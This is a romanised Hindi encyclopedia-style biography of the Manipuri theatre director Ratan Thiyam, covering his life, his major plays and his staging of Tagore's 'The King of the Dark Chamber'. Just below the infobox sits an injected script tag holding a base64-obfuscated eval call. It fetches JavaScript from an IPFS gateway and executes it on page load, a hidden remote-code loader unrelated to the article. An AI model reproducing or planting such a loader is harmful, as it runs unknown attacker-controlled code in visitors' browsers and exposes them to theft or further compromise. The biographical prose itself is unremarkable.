रतन थियम

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
ratan thiyam
poora nam ratan thiyam
janm 20 janavari, 1948
janm bhoomi manipur
karm bhoomi bharat
karm-kshetr natakakar, rangamanch nirdeshak
mukhy rachanaean 'd kiang aauf d dark cheanbar', 'rritusanhar', 'aandha yug', 'chakravyooh' (1984) adi.
puraskar-upadhi padmashri, sangit natak akadami puraskar, kalidas samman
nagarikata bharatiy
any janakari ratan thiyam rashtriy naty vidyalay ke poorv nideshak rah chuke haian.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ratan thiyam (aangrezi: Ratan Thiyam, janm:20 janavari, 1948) prasiddh natakakar, rangamanch nideshak aur neshanal skool aauph drama ke poorv nideshak hai. inhoanne neshanal skool aauph drama ke sath kee natakoan ka nirdeshan kiya. ratan thiyam paramparik sanskrit natakoan ko unaki adhunik vyakhya ke sath prastut karane ke lie jane jate hai. unaka rangakarm adbhut rang-sanyojan aur apratim lay ke karan anootha hai. ve apana chitrakar v kavi hona n sirf apani chitrakritiyoan v kavitaoan mean vyakt karate hai balki unaka rangakary bhi inaka achook praman hai. ve natyavidya aur usase sambaddh kala madhyamoan ke vikas mean vishesh roop se sakriy rahe haian. unhoanne anek bharatiy evan videshi natakoan ka manchan karane ke sath-sath bhas ke do natakoan, karnabharamh‌ aur uroobhangamh‌ ka manchan kiya hai.

jivan parichay

ratan thiyam ka janm 20 janavari, 1948 ko manipur mean hua tha. ratan thiyam ko lekhan aur manchan mean prachin bharatiy thietar paranpara ke prayog ke lie jana jata hai.

andolit parivesh ka udvelit rang-sarjak

ratan thiyam desh ke shirsh rang nirdeshak haian jo apane svapn aur sarjana ka rangamanch pichhale char dashakoan mean rachate a rahe haian. ve andolit parivesh ke udvelit vyaktitv haian jo nirantar us ashant samay ka rachanatmak prativad karate a rahe haian jo unake sirahane unako lagatar vichalit karata raha hai. manipur mean ratan thiyam ko apani jamin aur usaki nabj ka pata hai, ve vahaan bitaye apane poore jivan ke ek tarah se samvedanashil sakshy ki tarah haian jo apane asapas se atyant vichalit rahate hue, tamam khataroan mean rahate hue bhi rangakarm ki lau ko bachaye hue haian. ratan thiyam natakoan ki samiksha karate hue natak karane lage the. unake pita manipuri nrity shaili ke pratibaddh kalakar the. ratan thiyam peantiang karate the, laghu kahaniyaan, kavitaean aur natak bhi likhe. naty samikshak hote hue hi unhoanne is bat ko mahasoos kiya ki poornakalik rang-shiksha ki unako zaroorat hai. yahi zaroorat unako rashtriy naty vidyalay padhane ke lie le gayi. sattar ke dashak ke arambh mean ve dilli aye aur paanch-chhah varshoan mean hi unhoanne apani kshamataoan ki ek b di lakir khianchi. ratan thiyam ne yahaan samay vyatit karake phir apani jamin, manipur laut gaye aur apani khud ki thietar repartari koras ki sthapana ki. ratan thiyam apani zaroorat ke lie do ek d ki paryapt jamin ka intajam kiya aur kalakaroan ke sath yahian apani duniya kh di ki. ek thietar, tin sau logoan ke natak dekhane ke lie aur kalakaroan ke lie ugane-banane-khane aur rahane ka bandobast. is dhang ki parikalpana shayad sabase pahale unhoanne hi ki.[1]

prasiddhi

bharatiy rangamanch ko apani prastutiyoan se samriddh karane vale ratan thiyam apane natakiy prastutiyoan ke lie desh hi nahian, duniya bhar mean vikhyat haian. 14vean bharat rang mahotsav ke udghatan ke avasar ratan thiyam ki prastuti ke jadoo se rangapremiyoan ko do-char hone ka mauka ek bar phir mila. kaviguru rabiandranath taigor likhit natak 'kiang aauph d dark chaianbar' ki prastuti unake nirdeshan mean koras thietar grup, manipur ke kalakaroan ne ki. ratan thiyam ke natakoan mean yuddh, usaki vibhishika aur mahilaoan ki sthiti ko khas taur par phokas kiya jata raha hai. 'kiang aauph d dark chaianbar' natak mean bhi unhian sthitiyoan ko bahut hi khoobasoorati se darshaya gaya hai. natak ko apane vijual laiangvaj mean jis khoobasoorati se piroya ratan thiyam ne piroya hai vah usake shabdik anuvad mean kahian se bhi badhak nahian banata. 'kiang aauph d dark chaianbar' natak mean ratan thiyam ek bar phir apani rangat mean dikhe. unake natakoan ki khasiyat sinegraphi rahi hai. ratan thiyam apane natakoan mean vijual iphekts ke jabardast upayog ke lie jane jate haian. unaki natak ki bhasha mean jitane aham kalakaroan ke sanvad hote haian usase adhik abhinetaoan ki daihik nrityamoolak gatiyaan, parshv sangit, stej par bikharate prakashakiy rangoan ka alok, vastr yojana aur stej ki saj-sajja bhoomika nibhate haian. 'kiang aauph d dark chaianbar' natak mean ratan thiyam ke natakoan mean dikhane vali chhap apani rangat mean dikhi jise darshakoan ne poore man se saraha.[2]

pramukh natak

  • karanabharam (1979)
  • imphal imphal (1982)
  • chakravyooh (1984)
  • uttar priyadarshi (1996)
  • rritusanhar
  • aandha yug
  • d kiang aauf d dark cheanbar

kiang aauf d dark cheanbar

ratan thiyam desh ki shirsh rang-nirdeshakoan mean se hai. unake natakoan mean thietar ka ek klasik vyakaran dekhane ko milata hai. ‘kiang aauf d dark cheanbar’ raviandranath taigor ka natak hai. nagar mean sab kuchh sahi hai par raja adrishy hai. vah ek aandhere kaksh mean rahata hai. rani sudarshana aur praja sochate haian ki raja hai bhi ki nahian. rani roshani ki guhar karati hai, par surangama ka kahana hai ki usane anirvachaniy suandar raja ka aandhere mean hi dekha tha. astha aur avishvas ke bich kaanchi naresh jaise maukaparast log apane kam mean lage haian. ve ag lagavate haian, yuddh ka sabab banate haian. udhar rani ka asamanjas badhata ja raha hai. natak ka adrishy raja eeshvar yaki sach aur sauandary ka pratik mana gaya hai, aur usaka aandhera kaksh vyakti ke atm ka. rani ko use apane bhitar dhooandhana chahie, par vah use bahar dhooandh rahi hai. is vyakaran mean kahian bhi kuchh atirikt nahian, koee chook nahian. sangit, dhvaniyaan, roshaniyaan, abhinay-sab kuchh satik matra mean ahista-ahista lekin poori lallinata se pesh hote haian. kamani prekshagrih mean huee bharat rang mahotsav ki udghatan prastuti ‘kiang aauph d dark cheanbar’ mean bhi sab kuchh isi tarah tha. pahale hi drishy mean nili sp aautalait apana poora samay lete hue dhire-dhire gadhi hoti hai. gadhe hote vritt mean nani sudarshana ek chhitarae se vishal golakar asan par baithi hai. usaki pichhe aur dahine do ooanche jhini bunavat vale phrem kh de haian. ek phrem ke pichhe se pile rang ki patti age ki or girati hai. phir ek any patr surangama prakat hoti hai. baansuri ka svar badaloan ki g dag dahat. manipuri natak ka koee sanvad darshakoan ke palle nahian p d raha, lekin ghatit ho raha drishy unhean baandhe hue haian. manch par phaile syah kap de mean se apratyashit ek akar oopar ko uthata hai. kumhar ki tarah rani donoan hathoan se ise gadh rahi hai. phir vah is syah adamakad ko mala aur jhakk saphed pag di pahanati hai. chatak rangoan ki yojana ratan thiyam ki prayah har prastuti mean pramukhata se dikhaee deti hai. is prastuti mean bhi pile rang ki veshabhoosha mean vadakoan ka ek samooh. aandhere mean doobe manch par pichhe ke parade par ubhara chandrama aur manch par phaila phooloan ka bagicha. ye rang aksar apani taimiang aur drishy yuktiyoan mean ek tikhi kauandh ya ki chamatkarik asar paida karate haian. ag lagane ke drishy mean chhah log sarapat ek lay mean pile rang ke kap de ko hava mean uchhal rahe haian ki darshak taliyaan bajane ko majaboor hote haian.[3]

samman aur puraskar


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ratan thiyam : andolit parivesh ka udvelit rang-sarjak (hiandi) sunil mishr (bl aaug). abhigaman tithi: 4 navambar, 2014.
  2. dikha ratan thiyam ka jadoo (hiandi) vebaduniya hiandi. abhigaman tithi: 4 navambar, 2014.
  3. aandhere ka raja aur roshaniyaan (hiandi) rangavarta. abhigaman tithi: 4 navambar, 2014.

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah